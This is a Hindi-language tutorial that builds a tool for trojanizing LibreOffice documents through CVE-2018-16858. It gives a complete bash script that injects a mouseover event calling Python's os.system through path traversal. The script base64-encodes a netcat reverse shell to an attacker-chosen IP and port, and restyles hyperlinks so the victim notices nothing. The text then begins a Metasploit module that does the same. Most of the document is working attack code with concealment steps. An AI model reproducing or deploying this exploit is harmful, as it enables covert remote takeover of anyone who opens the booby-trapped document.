कोड के इस भाग में, वेरिएबल I को 0 मान से प्रारंभ किया जा रहा है। फिर एक for लूप के माध्यम से, ls -a कमांड के आउटपुट को बनाने वाले प्रत्येक तत्व को पार किया जाता है, और लूप के प्रत्येक पुनरावृत्ति में वेरिएबल fichero का मान प्रत्येक तत्व के नाम में बदल जाता है, इस मामले में कार्यशील डायरेक्टरी की प्रत्येक फ़ाइल के नाम के साथ। bash में, विशेष उद्धरण चिह्नों ` के बीच एक कमांड रखने से कमांड निष्पादित होती है और हम इसके स्क्रीन आउटपुट को एक वेरिएबल में वापस करने, या लूप में उपयोग करने में सक्षम होते हैं जैसा कि हमारे मामले में है। लूप के अंदर, केवल वेरिएबल I के मान को 1 से बढ़ाया जा रहा है। bash स्क्रिप्ट में, समान चिह्न के दाईं ओर के वेरिएबल, जिनसे मान प्राप्त करना होता है, उनके पहले हमेशा डॉलर चिह्न $ लगाना चाहिए। चूँकि हम एक गणितीय ऑपरेशन करना चाहते हैं, इसलिए जिस ऑपरेशन को करना है $I+1 उसे $(( और )) के बीच लपेटना होगा, जो bash इंटरप्रेटर को बताता है कि हम गणितीय मोड में हैं और उसे अंदर की चीज़ों पर ऑपरेशन करने चाहिए।
लूप के बाद, वेरिएबल I का मान 2 होना चाहिए यदि हम एक खाली डायरेक्टरी में हैं, या 2 से अधिक होना चाहिए यदि हम किसी फ़ाइल वाली डायरेक्टरी में हैं। इसलिए एक शर्त के माध्यम से हम जाँचेंगे कि क्या वेरिएबल का मान 2 से अधिक है, ताकि प्रोग्राम को रोका जा सके और उपयोगकर्ता को सूचित किया जा सके। फिर से हम if का उपयोग करेंगे, लेकिन इस बार हम 'ग्रेटर थान' तुलना का उपयोग करेंगे, जो bash में -gt लिखा जाता है, जो "greater than" का संक्षिप्त रूप है। जैसा कि कोड के टुकड़े में दिख रहा है, यदि मान 2 से अधिक है तो उपयोगकर्ता को त्रुटि के बारे में सूचित किया जाता है, अन्यथा शेष निर्देशों का निष्पादन जारी रहेगा।
अंतिम जाँच के रूप में, यह जाँच की जाएगी कि उपयोगकर्ता ने 3 पैरामीटर दिए हैं। यह केवल यह देखकर किया जाएगा कि क्या वेरिएबल $3 खाली है। यह वेरिएबल निर्दिष्ट करता है कि तर्क संख्या 3 दर्ज किया गया है, इसलिए यदि यह खाली है, तो इसका अर्थ है कि उपयोगकर्ता द्वारा निष्पादित निर्देश में 3 इनपुट तर्क नहीं हैं। इसकी तुलना केवल खाली वर्ण से की जाती है, और यदि खाली है तो उपयोगकर्ता को सूचित किया जाता है कि उसने स्क्रिप्ट निष्पादित करने में गलती की है। इसका कोड फिर से काफी सरल है:
if [ "" == "$3" ]; then
echo "I need an IP and a port to connect to.";
else
#हम प्रोग्राम जारी रखते हैं।
fi;
इन जाँचों के बाद, हम उन आदेशों का निष्पादन शुरू करेंगे जो दस्तावेज़ को ट्रोजनाइज़ करने की अनुमति देंगे। हम LibreOffice फ़ाइल को अनज़िप करने के लिए unzip कमांड के निष्पादन से शुरू करते हैं। सफलता की स्थिति में, प्रक्रिया जारी रहेगी, अन्यथा रुक जाएगी।
unzip $1;
if [ $? != 0 ]; then
echo "some error has occurr!!!Exiting!!";
exit;
fi;
इस भाग की पहली पंक्ति उपयोगकर्ता द्वारा इंगित फ़ाइल को अनज़िप कर रही है। कंडीशनल में, हम प्रोग्राम के निकास कोड के माध्यम से जाँच रहे हैं कि unzip कमांड का निष्पादन सफल हुआ या नहीं। यह निकास कोड उन सभी प्रोग्रामों द्वारा लौटाया जाता है जिन्हें कंसोल के माध्यम से निष्पादित किया जा सकता है, और मानक के अनुसार, 0 से भिन्न कोई भी मान इंगित करता है कि प्रोग्राम विफल हो गया है। इस त्रुटि कोड को प्राप्त करने का तरीका वेरिएबल $? के माध्यम से है, जिसमें अंतिम निष्पादित कमांड का निकास कोड होता है।
कंडीशनल में, हम बस जाँचेंगे कि यह 0 है, और यदि नहीं है तो हम उपयोगकर्ता को एक संदेश के साथ सूचित करेंगे। उस सूचना के बाद, हम exit निष्पादित करेंगे जो स्क्रिप्ट के निष्पादन को उस सटीक बिंदु पर रोक देगा, ताकि स्क्रिप्ट अगली पंक्तियों को निष्पादित करना जारी न रखे।
याद रखें कि एक बार फ़ाइल अनज़िप हो जाने के बाद, zip की सामग्री में दो चीजें बदलनी होती हैं: content.xml फ़ाइल, जहाँ ट्रोजन डाला जाता है, और styles.xml फ़ाइल, जहाँ हाइपरलिंक्स का प्रारूप बदला जाता है ताकि फ़ाइल खोलने वाले उपयोगकर्ता को समस्या पर संदेह न हो।
जो पेलोड डाला जाना है वह पिछले अनुभाग में उल्लिखित है, इसे base64 में होना चाहिए, इसलिए हम उस पेलोड को एक वेरिएबल में संग्रहीत करेंगे। इसके अलावा, उन फ़ाइलों का नाम बदल दिया जाएगा जिन्हें संशोधित किया जाना है, ताकि हम उन्हें पढ़ सकें और मूल नाम वाली नई फ़ाइलों में संशोधित कर सकें। इस प्रकार, मूल नाम वाली फ़ाइलें वास्तव में संशोधित फ़ाइलें होंगी:
PAYLOAD=`echo "mkfifo /tmp/lalala; nc $2 $3 < /tmp/lalala | /bin/bash > /tmp/lalala;" | base64 | awk '{printf $0}'`;
mv content.xml content.xml.NEW;
mv styles.xml styles.xml.NEW;
पिछले अनुभाग में बताए गए मूल पेलोड के संबंध में एकमात्र परिवर्तन यह है कि जहाँ IP पता और पोर्ट इंगित किए गए थे, वहाँ उपयोगकर्ता द्वारा डाले गए तर्क 2 और 3 का उपयोग किया जाता है। जैसा कि देखा जा सकता है, यहाँ for के समान एक ऑपरेशन किया जा रहा है जिसका उपयोग डायरेक्टरी में फ़ाइलों की संख्या गिनने के लिए किया गया था, लेकिन इस बार कमांड का आउटपुट for वेरिएबल में जाने के बजाय, हम इसे PAYLOAD नामक एक वेरिएबल में संग्रहीत करते हैं। जैसा कि देखा जा सकता है, mv कमांड के माध्यम से इंगित फ़ाइलों का नाम परिवर्तन भी निष्पादित किया जाता है।
contents.xml, जिसे अब contents.xml.NEW कहा जाता है, की सामग्री को बदलने के उद्देश्य से, उपयोग किया जा सकने वाला कमांड sed कमांड है। Sed Unix कमांड सूट का एक बुनियादी कमांड है, जो अन्य चीजों के अलावा, कुछ रेगुलर एक्सप्रेशन को दूसरों से बदलने की अनुमति देता है। content.xml.NEW फ़ाइल में किया जाने वाला परिवर्तन उन सभी प्रविष्टियों की खोज है जिनका रूप है:
<text:p text:style-name="Standard">
जो LibreOffice द्वारा टेक्स्ट को परिभाषित करने के लिए उपयोग किए जाने वाले टैग से अधिक कुछ नहीं है। वास्तव में, किसी भी टेक्स्ट को परिभाषित करने के लिए, यह आवश्यक है कि यह <text:p से शुरू हो और > पर समाप्त हो। इसके ठीक पहले वह लिंक जोड़ा जाए जो निष्पादन की अनुमति देता है, साथ में पहले से बनाए गए PAYLOAD के साथ। यह कुछ इस तरह दिखेगा:
<text:a xlink:type="simple" xlink:href="http://lalala/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo PAYLOAD > /tmp/payload.64; base64 /tmp/payload.64 -d > /tmp/payload; chmod 777 /tmp/payload; /tmp/payload;)?language=Python&location=share" xlink:type="simple"/></office:event-listeners>License: <text:a xlink:type="simple" xlink:href="https://creativecommons.org/licenses/by-sa/4.0/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link">
जहाँ PAYLOAD को चुने गए IP पते और पोर्ट के साथ गणना किए गए base64 कोड से बदल दिया जाता है। इसके अलावा, इस प्रविष्टि के बाद, पहले उल्लिखित टेक्स्ट पैराग्राफ़ टैग को बरकरार रखा जाना चाहिए।
इसके अलावा, अतिरिक्त रूप से रखे गए टैग की समाप्ति को इंगित किया जाना चाहिए, इसलिए प्रत्येक टेक्स्ट समाप्ति टैग </text:p> को </text:a></text:p> से बदला जाना चाहिए।
इस उद्देश्य के लिए, हम sed कमांड का उपयोग करेंगे, जो मानक इनपुट के माध्यम से डाली गई हर चीज़ को संशोधित करने की अनुमति देता है, कमांड का प्रारूप इस प्रकार है:
sed s/"search"/"replace"/g
s sed को बताता है कि हम एक प्रतिस्थापन करना चाहते हैं, उदाहरण में search के रूप में चिह्नित पहला स्ट्रिंग वह है जिसे कमांड मानक इनपुट से प्राप्त होने वाली चीज़ों में संशोधित करेगा। उदाहरण कमांड में स्ट्रिंग replace वह है जिसके द्वारा sed खोजे जाने वाले को बदल देगा। दो शब्दों के बाद इंगित अक्षर g अनुमति देता है कि न केवल पहले शब्द के साथ परिवर्तन किया जाए जो खोज मानदंड को पूरा करता है, बल्कि इनपुट के सभी शब्दों के साथ जो इसे पूरा करते हैं। इस प्रकार, यदि कमांड में ऐसे लिखे गए कमांड में स्क्रीन पर निम्नलिखित वाक्य पास किया जाता है:
la busqueda de sed permite busquedas y cambiarlas por algo.
sed कमांड निम्नलिखित वाक्य लौटाएगा:
la cambio de sed permite cambios y cambiarlas por algo.
इसके अलावा, sed एक ओर रेगुलर एक्सप्रेशन की अनुमति देता है, इसलिए वर्ण *, ., ^, [ और ] के विशेष अर्थ हैं, इसके अलावा sed के दूसरे पैरामीटर में, जो परिवर्तन को परिभाषित करता है, यदि वर्ण & डाला जाता है तो यह खोज पैटर्न को स्क्रीन पर आउटपुट करने की अनुमति देता है। इस ट्यूटोरियल का उद्देश्य sed के सभी विवरणों में जाना नहीं है, इसलिए केवल उन कमांडों और उनके कार्य का वर्णन किया जाएगा जिन्हें निष्पादित किया जाएगा। हम पाइप | का उपयोग करेंगे, जो एक कमांड के आउटपुट को अगले कमांड का इनपुट बनने की अनुमति देता है।
cat content.xml.NEW | sed s/"<text:p [^>]*[^\/]>"/"&"'<text:a xlink:type="simple" xlink:href="http:\/\/lalala\/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/usr\/lib\/python3.5\/os.py$system(echo '$PAYLOAD' > \/tmp\/payload.64; base64 \/tmp\/payload.64 -d > \/tmp\/payload; chmod 777 \/tmp\/payload; \/tmp\/payload;)?language=Python\&location=share" xlink:type="simple"\/><\/office:event-listeners>'/g | sed s/"<\/text:p>"/"<\/text:a>&"/g > content.xml;
इस कमांड में, content.xml.NEW फ़ाइल को sed कमांड के दो क्रमिक निष्पादनों के माध्यम से पास किया जा रहा है। पहले sed में, पेलोड भाग डाला जा रहा है, स्ट्रिंग <text:p के बाद कोई भी वर्ण जो > नहीं है, उसकी एक अनिर्धारित संख्या खोजी जाती है। यह भी आवश्यक है कि > से पहले का वर्ण टैग का अंत न हो। यह रेगुलर एक्सप्रेशन निम्नलिखित रूप में व्यक्त किया जाता है:
<text:p [^>]*[^\/]>
पाई गई यह स्ट्रिंग sed कमांड के आउटपुट में डाली जाएगी, क्योंकि हम आउटपुट में वर्ण & डाल रहे हैं, उसके बाद लिंक का टैग है जिसमें हमें वह क्रिया भी निर्दिष्ट है कि जब हम माउस को ऊपर ले जाएँ तो वांछित पायथन स्क्रिप्ट निष्पादित हो। यह अधिकतर उपयोग किए गए टैग की एक प्रति है जिसमें बीच में $PAYLOAD नामक bash वेरिएबल के माध्यम से उत्पन्न PAYLOAD रखा गया है।
इस परिवर्तन से जो प्राप्त होता है, उस पर दूसरे sed के साथ निर्धारित परिवर्तन लागू किया जाता है, जो टेक्स्ट टैग के अंत </text:p> की खोज करेगा और आउटपुट में उसी टैग का उपयोग किया जाएगा जिसके पहले लिंक टैग का अंत होगा, ताकि जब </text:p> टेक्स्ट मिले, तो प्राप्त आउटपुट </text:a></text:p> हो।
दोनों परिवर्तनों के साथ, content.xml.NEW फ़ाइल वांछित फ़ाइल में बदल जाएगी, इसलिए sed करने के बाद आउटपुट को आउटपुट फ़ाइल content.xml में डाला जाएगा।
एक बार ऐसा करने के बाद, अस्थायी फ़ाइल content.xml.NEW की अब आवश्यकता नहीं होगी, इसलिए इसे rm कमांड के माध्यम से हटा दिया जाएगा।
rm content.xml.NEW
सामग्री में उत्पन्न हाइपरलिंक्स को फ़ाइल खोलने पर ऐसे प्रदर्शित न होने के लिए भी एक संशोधन किया जाना चाहिए। इसलिए, हाइपरलिंक्स के डिफ़ॉल्ट अंडरलाइन को हटा दिया जाना चाहिए। styles.xml नामक फ़ाइल में, LibreOffice शैलियों को xml प्रारूप में संग्रहीत करता है, और पाठ में परिवर्तनों के साथ संशोधित किया जा सकता है।
LibreOffice में हाइपरलिंक्स की डिफ़ॉल्ट शैली को Internet_20_link कहा जाता है, इसलिए सबसे पहले डिफ़ॉल्ट शैली का नाम बदलना होगा ताकि इसे ऐसे नाम से पुकारा जाए कि LibreOffice उस शैली द्वारा परिभाषित प्रारूप को लिंक न करे जो अंडरलाइन को बल देता है। बस इस प्रकार की सभी शैलियों में अंत में एक 2 जोड़ा जाएगा, ताकि यदि शैली परिभाषित है तो दस्तावेज़ में उसका उपयोग न हो। दूसरी ओर, एक नई शैली परिभाषित की जाएगी जिसे ठीक उसी नाम से पुकारा जाएगा, लेकिन जिसमें यह निर्धारित किया जाएगा कि वह अंडरलाइन न हो। उस शैली का xml प्रारूप इस प्रकार है:
<style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/></style:style>
एक शैली को परिभाषित करने और यह जानने का सबसे आसान तरीका कि LibreOffice प्रारूप में इसे कैसे एन्कोड किया गया है, संभवतः एक नई शैली बनाना, इसे वांछित रूप में परिभाषित करना, फिर इसे सहेजना और दस्तावेज़ को अनपैक करके styles.xml फ़ाइल में देखना है। इस मामले में, जैसा कि टैग की विशेषताओं को थोड़ा पढ़ने पर देखा जा सकता है, शैली में केवल इतना परिभाषित किया गया है कि वह अंडरलाइन न हो और कोई विशेष रंग न हो।
चूँकि हम पहले से नहीं जानते कि फ़ाइल कैसे बनेगी और शैली को शैली फ़ाइल में कहाँ रखा जाना चाहिए, हम फिर से एक कुछ हद तक कच्चे लेकिन प्रभावी सरलीकरण की ओर बढ़ेंगे। हम शैली समाप्ति टैग </style:style> की खोज करेंगे और अंत में प्रस्तावित शैली परिभाषा जोड़ेंगे। यह ज्ञात नहीं होगा कि टैग फ़ाइल में किस स्थान पर बिल्कुल आएगा, लेकिन यह हमें हाइपरलिंक शैली को बिना अंडरलाइन के छोड़ने के लिए अधिक जटिल नियमों को परिभाषित न करने की अनुमति देगा, ताकि फ़ाइल खोलने वाला व्यक्ति पहले से त्रुटि का पता लगाने में सक्षम न हो।
पिछले मामले की तरह, हम sed कमांड के माध्यम से इन परिवर्तनों को आगे बढ़ाएंगे, जो इस प्रकार होगा:
cat styles.xml.NEW | sed s/"Internet link"/"Internet link2"/ | sed s/"Internet_20_link"/"Internet_20_link2"/ | sed s/"<\/style:style>"/'<\/style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"\/><\/style:style>'/ > styles.xml;
मामला पिछले मामले के समान है, और पिछली पंक्तियों में वर्णित कार्य किया जाता है। फ़ाइल styles.xml.new की सामग्री स्क्रीन पर प्रदर्शित की जाती है, और पहले sed में हाइपरलिंक शैली का नाम बदलकर अंत में 2 जोड़ा जा रहा है। दूसरे sed में, हाथ से परिभाषित शैली जोड़ी जाती है, और परिवर्तन के बाद सब कुछ styles.xml फ़ाइल में डाल दिया जाता है जो संरक्षित रहेगी, और styles.xml.NEW फ़ाइल को rm कमांड के माध्यम से हटा दिया जाएगा।
अंतिम चरण सब कुछ linux zip कमांड के माध्यम से एक नई zip फ़ाइल में पैकेज करना होगा। फिर से, bash वेरिएबल $? के माध्यम से यह सत्यापित किया जा सकता है कि कमांड सफल हुआ या नहीं, जो सफल निष्पादन की स्थिति में 0 लौटाएगा।
इस अंतिम भाग का कोड इस प्रकार होगा:
zip -r exploit.odt mimetype .;
if [ $? == 0 ]; then
echo "exploit.odt created!!!"
else
echo "An error has occurr!!!"
fi;
पूर्ण स्क्रिप्ट का अंतिम कोड कुछ इस प्रकार होगा:if [ -e $1 ]; then
I=0;
for fichero in `ls -a`; do
I=$(($I+1));
done;
if [ $I -gt 2 ]; then
echo "At least one file exists on the directory. Exiting.";
else
if [ "" == "$3" ]; then
echo "I need an IP and a port to connect to.";
else
unzip $1;
if [ $? != 0 ]; then
echo "some error has occurr!!!Exiting!!";
exit;
fi;
PAYLOAD=`echo "mkfifo /tmp/lalala; nc $2 $3 < /tmp/lalala | /bin/bash > /tmp/lalala;" | base64 | awk '{printf $0}'`;
mv content.xml content.xml.NEW;
cat content.xml.NEW | sed s/"<text:p [^>]*[^\/]>"/"&"'<text:a xlink:type="simple" xlink:href="http:\/\/lalala\/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/usr\/lib\/python3.5\/os.py$system(echo '$PAYLOAD' > \/tmp\/payload.64; base64 \/tmp\/payload.64 -d > \/tmp\/payload; chmod 777 \/tmp\/payload; \/tmp\/payload;)?language=Python\&location=share" xlink:type="simple"\/><\/office:event-listeners>'/g | sed s/"<\/text:p>"/"<\/text:a>&"/g > content.xml;
rm content.xml.NEW;
mv styles.xml styles.xml.NEW;
cat styles.xml.NEW | sed s/"Internet link"/"Internet link2"/ | sed s/"Internet_20_link"/"Internet_20_link2"/ | sed s/"<\/style:style>"/'<\/style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"\/><\/style:style>'/ > styles.xml;
rm styles.xml.NEW;
zip -r exploit.odt mimetype .;
if [ $? == 0 ]; then
echo "exploit.odt created!!!"
else
echo "An error has occurr!!!"
fi;
fi;
fi;
else
echo "The odt file does not exists!!";
fi;
इस खंड में एक मेटास्प्लॉइट मॉड्यूल बनाया जाएगा जो पिछले अनुभाग में हमने जो किया था वही करेगा, लेकिन एक ओर इसे मेटास्प्लॉइट सुइट में एकीकृत किया जा सकता है और दूसरी ओर उस सुइट में एकीकृत पेलोड का उपयोग करने की क्षमता होगी। ध्यान रखें कि यह मॉड्यूल एक .odt फ़ाइल उत्पन्न करेगा और ऑफिस दस्तावेज़ खोलने वाले होस्ट से कनेक्ट होने के लिए एक हैंडलर सेट करना होगा।
मेटास्प्लॉइट मॉड्यूल आमतौर पर रूबी भाषा में प्रोग्राम किए जाते हैं, और रूबी और मेटास्प्लॉइट की अपनी लाइब्रेरी और क्लास का उपयोग सुइट के अन्य भागों के साथ एकीकरण को आसान बनाने के लिए किया जाता है।
जिस मॉड्यूल को बनाना है वह एक एक्सप्लॉइट के शोषण पर आधारित होगा जिसके शोषण में एक पेलोड का उपयोग शामिल होगा जिसे निष्पादित किया जाना है। इसलिए हमारा मॉड्यूल मेटास्प्लॉइट क्लास Msf::Exploit से विरासत प्राप्त करेगा। इस क्लास की विशेषताओं में से एक यह है कि मॉड्यूल का उपयोग करते समय निष्पादित करने के लिए एक पेलोड परिभाषित किया जा सकता है।
हम उन फ़ाइलों के साथ काम करेंगे जिन्हें खोला और बंद किया जाएगा, साथ ही ज़िप फ़ाइलों के साथ भी, इसलिए हम fileutils और zip लाइब्रेरी का भी उपयोग करेंगे ताकि .odt फ़ाइल को अनपैक किया जा सके और content.xml और styles.xml फ़ाइलों की सामग्री बदली जा सके।
मॉड्यूल का हेडर फिर निम्नलिखित पंक्तियों के साथ शुरू होगा:
require 'fileutils'
require 'zip'
class MetasploitModule < Msf::Exploit
अब हम उस क्लास को परिभाषित करना शुरू करेंगे जिसे हम बना रहे हैं, जिसमें, शुरू में, हमें मॉड्यूल के विभिन्न गुणों को परिभाषित करना चाहिए। इन सभी को इनिशियलाइज़ेशन फ़ंक्शन में डाला जाएगा जो केवल एक्सप्लॉइट क्लास के गुणों को इनिशियलाइज़ करने के लिए उच्च क्लास super में कॉल करेगा। इस भाग में कोई प्रोग्राम लॉजिक प्रोग्राम करने की आवश्यकता नहीं है, केवल चर और मान परिभाषित करने हैं।
गुणों की परिभाषा के संदर्भ में, परिभाषित किए जाने वाले गुण निम्नलिखित होंगे:
मॉड्यूल का नाम परिभाषित करने के लिए नाम (Name)। विवरण जो मॉड्यूल की सहायता देखते समय दिखाई देने वाला विवरण देता है (Description)। लाइसेंस उत्पन्न मॉड्यूल को दिए जाने वाले विशिष्ट लाइसेंस को परिभाषित करने के लिए (License)। लेखक यह परिभाषित करने के लिए कि किसी विशेष मॉड्यूल को किसने या किन्होंने बनाया है (Author)। संदर्भ जिसमें CVE या उस त्रुटि का संदर्भ दिया जाना चाहिए जिसका लाभ उस मॉड्यूल में उठाया जा रहा है जिसे कार्यान्वित किया जा रहा है (References)। प्लेटफ़ॉर्म जो परिभाषित करता है कि मॉड्यूल किस सिस्टम या सिस्टम पर उपयोग किया जा सकता है (Platform)। आर्किटेक्चर जो परिभाषित करेगा कि मॉड्यूल किस प्रकार के CPU पर निष्पादित किया जा सकता है (Arch)। पेलोड जिसमें एक्सप्लॉइट के अंदर उपयोग किए जा सकने वाले पेलोड की विशेषताओं को परिभाषित किया जा सकता है ('Payload')। इस गुण में आकार ('size') विशेष रूप से महत्वपूर्ण होगा, जो आमतौर पर कोड निष्पादित करने वाले बफर के आकार से संबंधित होता है, और यह कि क्या पेलोड के बाइट्स पर कोई रूपांतरण किया जाना चाहिए या नहीं (DisableNops)। लक्ष्य, जो उन पेलोड से संबंधित है जिन्हें परिभाषित किए जा रहे एक्सप्लॉइट के माध्यम से निष्पादित किया जा सकता है (Target)। इस गुण को अच्छी तरह से परिभाषित करना महत्वपूर्ण है ताकि मॉड्यूल का उपयोगकर्ता मॉड्यूल निष्पादित करते समय गलत पेलोड दर्ज न कर सके। अंत में, पंजीकरण के विकल्प एक्सप्लॉइट निष्पादित करते समय उपयोग किए जाने वाले नए चर को शामिल करने की अनुमति देते हैं (register_options)। नए तत्व परिभाषित किए जाएंगे जो विभिन्न प्रकार के हो सकते हैं, हमारे मामले में, एक पथ प्रकार का चर परिभाषित किया जाएगा जिसमें ट्रोजनाइज़ किए जाने वाले .odt फ़ाइल का पथ होगा, और एक स्ट्रिंग प्रकार का गुण जिसमें नए .odt फ़ाइल का नाम परिभाषित होगा जिसमें ट्रोजनाइज़ की गई फ़ाइल सहेजी जाएगी। ताकि मूल फ़ाइल नहीं बदलेगी, बल्कि एक नई ट्रोजनाइज़ की गई फ़ाइल उत्पन्न होगी। पथ प्रकार के गुण को परिभाषित करने के लिए optPath क्लास के कंस्ट्रक्टर को कॉल किया जाएगा और स्ट्रिंग प्रकार के लिए optString क्लास का उपयोग किया जाएगा।
इन गुणों का आरंभीकरण केवल मान देने में शामिल है, मॉड्यूल में यह निम्नलिखित रूप में होगा:
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenOffice Backdoor Generator',
'Description' => '
This module can execute a payload based on CVE-2018-16858 when somebody opens the infected document and the mouse
goes over any line of text inside the document. The module will need an OpenDocument as input in order to make modiffications
to be able to execute the script.
',
'License' => MSF_LICENSE,
'Author' =>
[
'Animanegra',
],
References' =>
[
['CVE', '2018-16858'],
['URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2018-16858/']
],
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Payload' => { 'DisableNops' => true , 'size' => 1024},
'Targets' =>
[
[ 'linux' ,
{
'Platform' => 'linux'
}]
])
)
register_options(
[
OptString.new('OUTPUT', [true, 'Path and filename to make a new infected .odt file.']),
OptPath.new('INPUT', [true, 'Path and filename to existing .odt to inject the payload selected.'])
]
)
end
आरंभीकरण में परिभाषित के साथ, अब हम एक्सप्लॉइट के तार्किक भाग को उत्पन्न करने के लिए तैयार हैं जिसमें वही क्रियाएं की जाएंगी जो bash में किए गए एक्सप्लॉइट में परिभाषित की गई थीं, लेकिन इस बार मेटास्प्लॉइट द्वारा उपयोग की जाने वाली ruby भाषा में। बिल्कुल वही काम किया जाएगा लेकिन ruby भाषा की अपनी कार्यक्षमताओं का उपयोग करके।
जिस फ़ंक्शन को परिभाषित करना है, जिसे मेटास्प्लॉइट exploit या run लिखते समय msfconsole में कॉल करता है, उसे exploit कहा जाना चाहिए, इस फ़ंक्शन के अंदर वह प्रोग्राम परिभाषित किया जाएगा जो बनाई गई वस्तु के आरंभीकरण में परिभाषित गुणों के आधार पर प्रासंगिक क्रियाएं करता है।
सबसे पहले हम यह सत्यापित करेंगे कि उपयोगकर्ता द्वारा परिभाषित फ़ाइल नाम .odt में समाप्त होते हैं। यह datastore['INPUT'] और datastore['OUTPUT'] चर की सामग्री की जांच करके किया जा सकता है। to_s विधि का उपयोग किया जा सकता है जो इसे string में बदल देगा और end_with जो यह परिभाषित करने की अनुमति देता है कि स्ट्रिंग किसी विशेष मान में समाप्त होती है या नहीं। उदाहरण के लिए निम्नलिखित कॉल:
datastore['INPUT'].to_s.end_with?('.odt')
सत्य लौटाता है यदि इनपुट का पथ .odt में समाप्त होता है अन्यथा असत्य। इसलिए जांच निम्नलिखित रूप में होगी:
if datastore['INPUT'].to_s.end_with?('.odt') && datastore['OUTPUT'].to_s.end_with?('.odt')
एक बार यह जांच हो जाने के बाद, हम content.xml और styles.xml की सामग्री को बदलने के लिए फ़ाइल को अनज़िप करना शुरू करेंगे, ठीक उसी तरह जैसे पिछले अनुभाग में किया गया था। यह Zip क्लास के माध्यम से किया जाएगा जो ज़िप फ़ाइलों को मेमोरी में खोलने और पढ़ने की अनुमति देता है बिना उनकी सामग्री को सीधे आउटपुट फ़ाइल में डाले। यह Zip::File.open पर कॉल करके किया जाता है, जो हमें एक ऑब्जेक्ट लौटाएगा जिसमें एक इटरेटर प्रकार का गुण होगा। उस गुण के साथ हम मेमोरी में अनज़िप की गई प्रत्येक फ़ाइल को पढ़ सकते हैं। हम जो कॉल करेंगे वह उत्पन्न डेटास्टोर से जुड़ा होगा जहां .zip फ़ाइल का पथ है और जिसके इटरेटर के साथ प्रत्येक अनज़िप की गई फ़ाइल entry चर में सहेजी जाएगी:
Zip::File.open(datastore['INPUT']) do |zipfile|
zipfile.each do |entry|
ज़िप फ़ाइल zipfile नामक ऑब्जेक्ट में खोली जाती है और इससे each के माध्यम से इटरेटर लिया जाता है जो entry चर में सहेजा जाता है। यह चर वह है जहां सीधे अनज़िप की गई फ़ाइलों और उनके गुणों तक पहुंचा जा सकता है। entry.name के साथ मूल फ़ाइल के नाम तक पहुंचा जा सकता है, चूंकि हम styles.xml और content.xml नाम वाली फ़ाइलों को बदलना चाहते हैं, एक साधारण तुलना के माध्यम से फ़ाइल को पढ़ा जा सकता है ताकि परिवर्तन किए जा सकें। शेष फ़ाइलों की सामग्री अपरिवर्तित रहेगी। entry चर में get_input_stream नामक एक विधि भी होगी ताकि ज़िप की फ़ाइलों को हार्ड डिस्क की किसी भी फ़ाइल की तरह प्रबंधित किया जा सके। inputStream क्लास में read नामक एक विधि है जो सीधे फ़ाइल की सभी सामग्री को एक चर में डाल देती है। अंत में, entry चर में is_directory नामक विधि भी है जो यह जानने की अनुमति देती है कि ज़िप में निहित फ़ाइल कोई फ़ाइल है या निर्देशिका, ताकि यदि यह कोई निर्देशिका है तो इसे अनदेखा किया जा सके और read विधि से न पढ़ा जाए क्योंकि यह स्वयं zip संरचना का एक तत्व है जिसमें कोई सामग्री नहीं है। इन सभी विधियों के साथ, अब हम एल्गोरिदम की सामान्य संरचना उत्पन्न करने में सक्षम हैं, जो यह अंतर करेगा कि फ़ाइल बदलने के लिए फ़ाइलों में से एक है, एक ऐसी फ़ाइल है जिसे नहीं बदला जाना चाहिए, या केवल एक निर्देशिका है। उस भाग की सामान्य संरचना निम्नलिखित होगी:
if entry.name == "content.xml"
elsif entry.name == "styles.xml"
else
if !entry.name_is_directory?
end
end
यदि पढ़ी जाने वाली फ़ाइल का नाम content.xml है, तो उपयोगकर्ता द्वारा चुने गए पेलोड को सम्मिलित किया जाना चाहिए, यदि इसका नाम styles.xml है, तो हाइपरलिंक की शैली बदली जानी चाहिए, और अंत में यदि यह उनमें से कोई भी फ़ाइल नहीं है, तो यदि यह कोई निर्देशिका नहीं है, तो बस फ़ाइल को बिना किसी बदलाव के शामिल किया जाना चाहिए।
आदर्श प्रसंस्करण यह होगा कि जैसे-जैसे फ़ाइलें पढ़ी जाती हैं, उन्हें नए दस्तावेज़ में डाला जाए, इसलिए जिस तरह Zip क्लास के माध्यम से फ़ाइल को पढ़ने के लिए खोला गया था, उसी तरह एक और फ़ाइल को लिखने के लिए खोला जाएगा जिसमें फ़ाइलों को संपीड़ित फ़ाइल में तुरंत डाला जाएगा।
